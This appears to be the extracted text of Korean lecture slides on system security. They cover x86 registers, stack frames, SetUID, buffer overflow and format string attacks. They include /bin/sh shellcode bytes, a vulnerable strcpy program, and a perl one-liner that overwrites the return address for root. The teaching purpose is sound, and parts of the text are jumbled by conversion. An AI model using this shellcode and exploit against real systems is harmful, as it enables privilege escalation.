이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택 (Stack) 이라는메모리공간이형성되고, 프로그램로직이동작하기위한인자 (Argument) 와프로세스상태를저장하는데사용됨. 하위메모리 : 힘 (Heap) 이생성되고, 프로그램이동작할때필요한데이터정보를임시로저장하는데사용됨. 80x86 CPU 에서제공하는레지스터 : CPU 의임시메모리 범주이름내용용도 범용레지스터 오프셋레지스터 세그먼트레지스터 AX(AH, AL) Accumulator 산술연산에주로사용 BX(BH, BL) Base Register 베이스의주소를저장하는데사용 CX(CH, CL) Count Register 반복적으로실행되는특정명령에사용 DX(DH, DL) Data Register SS 레지스터와함께사용되어스택내의변수값을읽는데사용 BP Base Pointer 오프셋레지스터스택내의변수값을읽는데사용 IP Instruction Pointer 다음명령어의오프셋을저장하며 CS 레지스터와합쳐져다음에수행될명령어의주소형성 SP Stack Pointer SS 레지스터와함께사용되며, 스택의가장끝주소를가리킴 DI Destination Index 다음목적지주소에대한값저장 SI Source Index 출발지주소에대한값저장 DS Data Segment Register 변수의기본베이스주소저장 ES Extra Segment Register 변수의추가베이스주소저장 SS Stack Segment Register 스택의베이스주소저장 CS Code Segment Register 명령어코드의베이스주소저장 플래그레지스터 (Flags Register) CPU 내부의명령에따른결과나명령수행방식을설정하거나설정되는레지스터
main 함수와덧셈을하는 function 이라는서브루틴이있는프로그램. 와우리눅스 6.2 에서실행. 어셈블리어생성 gcc s o sample.a sample.c void main(){ int c; c = function(1, 2); int function(int a, int b){ a = a+b; return a; sample.c.file "sample.c.version "01.01" gcc2_compiled.:.text 11.align 4.globl main.type main,@function main: ------------------------------------- 0 pushl %ebp -----------------------➊ movl %esp,%ebp -----------------➋ subl $4,%esp --------------------➌ pushl $2 --------------------------➍ pushl $1 ---------------------------➎ call function --------------------➏ addl $8,%esp --------------------16 movl %eax,%eax -----------------17 movl %eax,-4(%ebp) -------------18.L1: leave ----------------------------------- 19 ret ------------------------------------- 20.Lfe1:.size main,.lfe1-main.align 4.globl function sample.o.type function,@function function: pushl %ebp ---------------------- ➐ movl %esp,%ebp --------------- ➑ movl 12(%ebp),%eax -----------➒ addl %eax,8(%ebp) ------------ ➓ movl 8(%ebp),%edx ------------ 11 movl %edx,%eax --------------- 12 jmp.l2 ------------------------ 13.p2align 4,,7.L2: leave --------------------------------- 14 ret ------------------------------------15.Lfe2:.size function,.lfe2-function.ident "GCC: (GNU) egcs-2.91.66 19990314/Linux (egcs-1.1.2 release) ➊0 메인함수시작 ➋ movel %esp, %ebp ➌ subl $4, %esp 메인함수가종료될때프로세스가복귀할주소 (ret) 가스택에저장 ➊ pushl %ebp esp 값을 ebp로이동 (move) 하는것으로, 현재의 esp 값을 ebp 레지스터에저장. esp에서 4바이트를뺀다 (subtraction). 즉, 스택에 4바이트 (int 형은 4바이트 ) 의 (esp는스택의항상가장하위메모리빈공간을할당 스택에 %ebp 값을밀어넣음 (push). 주소를가리키는주소값 ) C 프로그램의 int c; 를실행하는 11 ebp는프레임포인터 (Frame Pointer) 또는베이스포인터 (Base Pointer) 라고불림. 어셈블리어코드프레임포인터는프로그램이동작하면서스택에저장된인수값등을찾아가기 위한기준메모리주소임.
➍ pushl $2 ➎ pushl $1 ➏ call function 이세단계는 main 함수에서 function(1, 2) 를실행한다. 스택에 2를집어넣고다시 1을집어넣은뒤, function 함수를호출. call 명령이 function 함수가끝났을때복귀하는주소를스택에저장. ➍ pushl $2 ➎ pushl $1 ➏ call function 이세단계는 main 함수에서 function(1, 2) 를실행한다. 스택에 2를집어넣고다시 1을집어넣은뒤, function 함수를호출. call 명령이 function 함수가끝났을때복귀하는주소를스택에저장. ➐ pushl %ebp ➑ movl %esp, %ebp 현재레지스터의 ebp 값을스택에저장. 현재의 esp 값을레지스터 ebp에저장 ➒ movl 12(%ebp), %eax ebp 에서 12 바이트를더한주소값의내용 ( 정수 2) 을레지스터 eax 에저장
➓ addl %eax, 8(%ebp) ebp에서 8바이트상위에있는값에 eax 레지스터의값을더함. eax에는현재 2가 ( 단계 ), ebp에서 8 바이트상위에는 1이있음. ebp에서 8바이트상위에 3이저장됨. function 함수의 a=a+b; 가실행되는과정임. ➐11 movl 8(%ebp), edx 8 바이트상위에있는값을 edx 에저장. edx 에는 3 이저장 ➐12 movl %edx, %eax edx 값을 eax 에저장. eax 에도 3 이저장 ➐13 jmp.l2 L2 로점프 ➐14 leave ➐15 ret 함수를끝냄 호출한프로시저로복귀하는명령으로, 스택에서복귀주소를빼내 (Pop), 복귀주소로점프 ➐11 부터 15 ➐단계까지는 function 함수의 return a; 가실행되는과정 ➐16 addl $8, %esp esp 에 8 바이트를더함 ➐18 movel %eax, -4(%ebp) eax 값을 ebp에서 4바이트아래의주소값 (int c) 에복사. main 함수의 c= function (1, 2); 가실행되는과정. ➐17 movel %eax, %eax 레지스터 eax 값을레지스터 eax 로복사 ( 사실상의미는없음 ). eax 값은 12 단계에서 3 으로저장되어있었음 ➐19 leave ➐20 ret 모든과정을마치고프로그램을종료
셀 셀 셀이란 운영체제를둘러싸고있으면서입력받는명령어를실행시키는명령어해석기. 본셸, 콘셸, C 셸로나눌수있고, 본셸은유닉스시스템에서사용하는기본셸임. 셸의역할 자체의내장명령어제공 입력 / 출력 / 오류의리다이렉션 (Redirection) 기능제공 wildcard 기능제공 파이프라인기능제공 조건부 / 무조건부명령열 (Sequences) 작성기능제공 서브셸 (Subshell) 생성기능제공 후면처리 (Background Processing) 가능 셸스크립트 (Shell Script, 프로그램 ) 작성가능 셀의실행과취소 셸은 /bin/sh 명령으로실행할수있으며, exit 명령을통해해당셸을빠져나올수있음. /bin/sh 를버퍼오버플로우나포맷스트링공격에서는다음과같이기계어코드로바꾸어메모리에올림. "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01" "\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68"; 셀 프로세스권한과 SetUID 기계어코드가셸로실행되는지여부확인 char shell[]= shell.c "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01" "\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68"; void main(){ int *ret; ret =(int *)&ret+2; (*ret)=(int)shellcode; gcc -o shell -g -ggdb shell.c./shell SetUID 유닉스시스템을해킹하는데매우중요한요소로, 유닉스파일에 rwsr-xr-x로권한설정이되어있음. 소유자권한에서 x가있을자리에 s가적혀있음. SetUID 파일은해당파일이 11 실행될때누가실행하든지관계없이파일소유자의권한을갖는다는특징이있음. 즉, 해당파일의소유자가 root이면, 그파일은실행하는사람이누가되었든지파일이실행되는프로세스는실행시간동안파일소유자인 root 권한으로실행됨. 예 ) test 라는파일이 root 소유이며 SetUID 비트가설정되어있으면 [ 그림 4-16] 과같이실행되고, SetUID 비트가설정되어있지않다면 [ 그림 4-17] 과같이실행됨.
프로세스권한과 SetUID 프로세스권한과 SetUID SetUID 유닉스시스템을해킹하는데매우중요한요소로, 유닉스파일에 rwsr-xr-x로권한설정이되어있음. 소유자권한에서 x가있을자리에 s가적혀있음. SetUID 파일은해당파일이 11 실행될때누가실행하든지관계없이파일소유자의권한을갖는다는특징이있음. 즉, 해당파일의소유자가 root이면, 그파일은실행하는사람이누가되었든지파일이실행되는프로세스는실행시간동안파일소유자인 root 권한으로실행됨. 11 예 ) test 라는파일이 root 소유이며 SetUID 비트가설정되어있으면 [ 그림 4-16] 과같이실행되고, SetUID 비트가설정되어있지않다면 [ 그림 4-17] 과같이실행됨. 프로세스권한과 SetUID 와우리눅스 6.2 버전에서 SetUID 를이용한간단한해킹수행 setuid 부여 버퍼오버플로우란 가장기본개념은 덮어쓰기 다. 정상적인경우에는사용되지않아야주소공간, 즉원래는덮어쓸수없는부분에해커가임의의코드를덮어쓰는것 11 일반계정으로 SetUID 가부여된셸실행 버퍼오버플로우공격은프로그래머가취약한특정함수를사용해야가능.
버퍼오버플로우의원리 int main(int argc, char *argv[]) { --------------------- ➊ char buffer[10]; ------------------------------- ➋ strcpy(buffer, argv[1]); ----------------------- ➌ printf("%s\n", &buffer); ---------------------- ➍ bugfile.cc GDB 를이용하여 main 함수를먼저살펴보고 strcpy 가호출되는과정을살펴본다. gcc -o bugfile bugfile.c gdb bugfile disass main ➊ 0x80483f8 <main>: push %ebp ➊ int main(int argc, char *argv[]){ argc: 취약한코드인 bugfile.c가컴파일되어실행되는프로그램의인수개수 *argv[]: 포인터배열로서인자로입력되는값에대한번지수를차례대로저장. argv[0]: 실행파일의이름 argv[1]: 첫번째인자의내용 argv[2]: 두번째인자의내용 ➋ char buffer[10]: 10바이트크기의버퍼를할당 ➌ strcpy(buffer, argv[1]); 버퍼에첫번째인자 (argv[1]) 를복사 (abcd 값을버퍼에저장 ). ➍ printf( %s\n, &buffer): 버퍼에저장된내용출력 버퍼오버플로우공격은 strcpy(buffer, argv[1]) 에서일어남. ➋ 0x80483f9 <main+1>: mov %esp,%ebp 스택에 ebp 값을밀어넣고, 현재의 esp 값을 ebp 레지스터에저장 ➌ 0x80483fb <main+3>: sub $0xc,%esp main 함수의 char buffer[10]; 를실행하는과정. 명령은 char 로메모리에 10 바이트를할당하였으나, 메모리에서는모두 4 바이트단위로할당이되니실제로할당되는메모리는 12 바이트가됨. ➍ 0x80483fe <main+6>: mov 0xc(%ebp),%eax ebp 에서상위 12 바이트 (0xC) 의내용을 eax 레지스터에저장. eax 레지스터는 char *argv[] 를가리키고, eax 에 argv[] 에대한포인터값이저장. ➐ 0x8048406 <main+14>: push %edx 프로그램을실행할때인수에대한포인터를스택에저장. 인수를주지않고프로그램을실행시키면, 0x0 값이스택에저장됨. ➎ 0x8048401 <main+9>: add $0x4,%eax),%eax eax 값을 4 바이트만큼증가. argv[] 에대한포인터이므로 argv[1] 을가리키게됨. ➏ 0x8048404 <main+12>: mov (%eax),%edx eax 레지스터가가리키는주소의값을 edx 레지스터에저장. 프로그램을실행할때인수부분을가리키게됨 ➑ 0x8048407 <main+15>: lea 0xfffffff4(%ebp),%eax eax 레지스터의주소값을 12(%ebp) 에저장. [ 그림 4-22] 의 인수에대한포인터 에 eax의주소값을저장.
➒11 0x8048340 <strcpy>: jmp *0x80494c0 컴파일하고실행하면서인수로A를충분히많이입력시도. 버퍼오버플로우공격은여기에서일어남. bugfile은관리자권한으로 SetUID 권한을부여 (chmod 4755 bugfile 명령실행 ). strcpy 함수는입력된인수의경계를체크하지않음. 인수는 buffer[10] 으로 10바이트길이를넘지않아야하지만이보다큰인수를받아도스택에쓰게됨. 13개의A를인수로쓰게되면 [ 그림 4-25] 와같이A가쌓임../bugfile AAAAAAAAAAAAAAA./bugfile AAAAAAAAAAAAAAAA 16번째문자에서세그먼테이션오류발생 bugfile.c의 char buffer[10] 이할당되는주소공간이 12바이트, ebp가저장되는공간이 4바이트이기때문에 A가 16개, 즉 16바이트 ( 주소공간 12바이트, ebp 저장공간 4바이트 ) 가덮어씌워져, ret 주소가저장된메모리주소를A 값으로덮어씌우자일어나게됨. 일반적으로공격에 egg shell 사용 (gcc o egg eggshell.c 로컴파일 ) 공격이모두끝난후스택의메모리상태는다음과같음../egg 메모리의 0xbfffb58 에셸이적재되었음을확인 일반사용자권한으로돌아가서펄을이용해 A 문자열과셸의메모리주소를 bugfile 에직접적으로실행 perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\x48\xfb\xff\xbf" id
버퍼오버플로우에취약한함수 Section 03 포맷스트링 strcpy(char *dest, const char *src); strcat(char *dest, const char *src); getwd(char *buf); gets(char *s); fscanf(file *stream, const char *format,...); scanf(const char *format,...); realpath(char *path, char resolved_path[]); sprintf(char *str, const char *format); 포맷스트링공격 버퍼오버플로우공격과매우유사. 포맷스트링문자를사용하지않고출력함수를사용하는데대한공격 매체로쓰이는포맷스트링은발신자가 B로되어있는편지봉투고, 공격코드는편지가됨. 포맷스트링의종류 포맷스트링공격예 (1) 포맷스트링의사용예 #include <stdio.h> main(){ char *buffer = "wishfree"; 포맷스트링 printf("%s\n", buffer); 포맷스트링의문자의종류 right.c 문제 스트링문자를이용하지않고, printf 와같은함수이용 #include <stdio.h> main(){ char *buffer = "wishfree\n"; printf(buffer); wrong.c wrong.c 에서 char *buffer 에문자열을입력할때 %x 포맷스트링문자추가 매개변수 변수형식 매개변수 변수형식 %d 정수형 10진수상수 (integer) %u 양의정수 (10진수) %f 실수형상수 (float) %o 양의정수 (8진수) %lf 실수형상수 (double) %x 양의정수 (16진수) %c 문자값 (char) %n * int( 쓰인총바이트수 ) %s 문자열 ((const)(unsigned) char *) %hn %n의반인2바이트단위 #include <stdio.h> main(){ char *buffer = "wishfree\n%x\n"; printf(buffer); test1.c wishfree 문자열이외에 8048440 이라는숫자출력. 이는 wishfree 문자열이저장된다음의메모리에존재하는값으로 0x08028440 을의미. [ 그림 4-31] test1 을실행한결과
포맷스트링공격예 (2) 포맷스트링과버퍼오버플로우 문제 printf("%s%n\n", j, &i) 부분 : argv[1] 값을문자열 (%s) 로바꾼뒤, 해당문자열의 개수를세어그값을 i 의주소값에입력함. #include <stdio.h> void main(int argc, char *argv[]){ int i=10; printf(" 최초 i 의값 : %d\n",i); printf("%s%n\n", argv[1], &i); printf(" 변경된 i 의값 : %d\n",i); test2.c 포맷스트링공격포맷스트링을이용하여, 버퍼오버플로우와같이메모리에셸을띄워놓고, ret 값을변조하여관리자권한획득. 결국포맷스트링과버퍼오버플로우는함수실행시 ret 값을변조하는방법만다를뿐기본개념은같다고볼수있음. i 값이입력된 A 의개수로변경됨. %s 뒤의 %n 이개수를세는역할을한것임. [ 그림 4-32] test2 를실행한결과 요약 요약 메모리의기본구조 크게스택과힙으로구분 80x86 CPU 의주요레지스터 범주이름내용용도 범용레지스터 오프셋레지스터 AX(AH, AL) Accumulator 산술연산에주로사용 BX(BH, BL) Base Register 베이스의주소를저장하는데사용 CX(CH, CL) Count Register 반복적으로실행되는특정명령에사용 DX(DH, DL) Data Register 일반데이터를저장하는데사용 BP Base Pointer 오프셋레지스터스택내의변수값을읽는데사용 SP Stack Pointer 스택의가장끝주소를가리킴. 셀 운영체제를둘러싸고입력받는명령어를실행시키는명령어해석기다
요약 요약 프로세스권한과 SetUID 각계정에는고유한 UID가있으며, SetUID가부여된프로그램을실행할때다음과같이그권한이임시적으로바뀔수있다 버퍼오버플로우 입력값을확인하지않는입력함수에정상보다큰값을입력하여 ret 값을덮어쓰기함으로써, 임의의코드를실행시키기위한공격이다. 입력값을확인하지않는함수는다음과같다. strcpy(char *dest, const char *src); strcat(char *dest, const char *src); getwd(char *buf); gets(char *s); fscanf(file *stream, const char *format,...); scanf(const char *format,...); realpath(char *path, char resolved_path[]); sprintf(char *str, const char *format); 포맷스트링 포맷스트링문자를사용하지않고다음과같이출력함수를사용하는데대한공격이다. 버퍼오버플로우공격처럼 ret 값을변조하여임의의코드를실행시킬수있다. #include <stdio.h> main(){ char *buffer = "wishfree\n"; printf(buffer); 정보보안개론 4 장끝 43